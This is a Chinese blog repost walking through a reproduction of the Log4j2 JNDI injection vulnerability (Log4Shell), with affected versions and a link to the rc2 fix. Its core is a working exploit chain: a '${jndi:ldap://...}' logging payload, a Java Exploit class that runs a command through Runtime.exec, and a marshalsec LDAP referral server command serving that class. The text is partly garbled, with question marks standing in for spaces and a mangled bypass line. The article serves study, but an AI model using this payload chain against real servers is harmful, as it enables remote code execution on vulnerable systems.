手把手復(fù)現(xiàn)了 Log4j2 漏洞,太可怕了。。
閱讀本文大概需要 2.8 分鐘。
來(lái)自:blog.csdn.net/qq_40989258/article/details/121862363
0x00 簡(jiǎn)介
0x01 漏洞概述
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環(huán)境搭建
????org.apache.logging.log4j
????log4j-core
????2.14.1

0x04 漏洞利用
import?org.apache.logging.log4j.LogManager;
import?org.apache.logging.log4j.Logger;
class?LogTest?{
????public?static?final?Logger?logger?=?LogManager.getLogger();
????public?static?void?main(String[]?args)?{
????????logger.error("${jndi:ldap://localhost:8888/Exploit}");
????}
}
class?Exploit?{
????static?{
????????System.err.println("Pwned");
????????try?{
????????????String?cmds?=?"calc";
????????????Runtime.getRuntime().exec(cmds);
????????}?catch?(?Exception?e?)?{
????????????e.printStackTrace();
????????}
????}
}
javac?exp.java

java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"?8888


"?Type=A Type&Name=1100110&Char=!"可繞過(guò)rc1,RC2版本對(duì)此異常進(jìn)行了捕獲。Spring Boot 學(xué)習(xí)筆記分享給你。https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修復(fù)方式
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
推薦閱讀:
SpringBoot多線程環(huán)境下,解決多個(gè)定時(shí)器沖突問(wèn)題
內(nèi)容包含Java基礎(chǔ)、JavaWeb、MySQL性能優(yōu)化、JVM、鎖、百萬(wàn)并發(fā)、消息隊(duì)列、高性能緩存、反射、Spring全家桶原理、微服務(wù)、Zookeeper、數(shù)據(jù)結(jié)構(gòu)、限流熔斷降級(jí)......等技術(shù)棧!
?戳閱讀原文領(lǐng)??!? ? ? ? ? ? ? ??? ??? ? ? ? ? ? ? ? ? ?朕已閱?

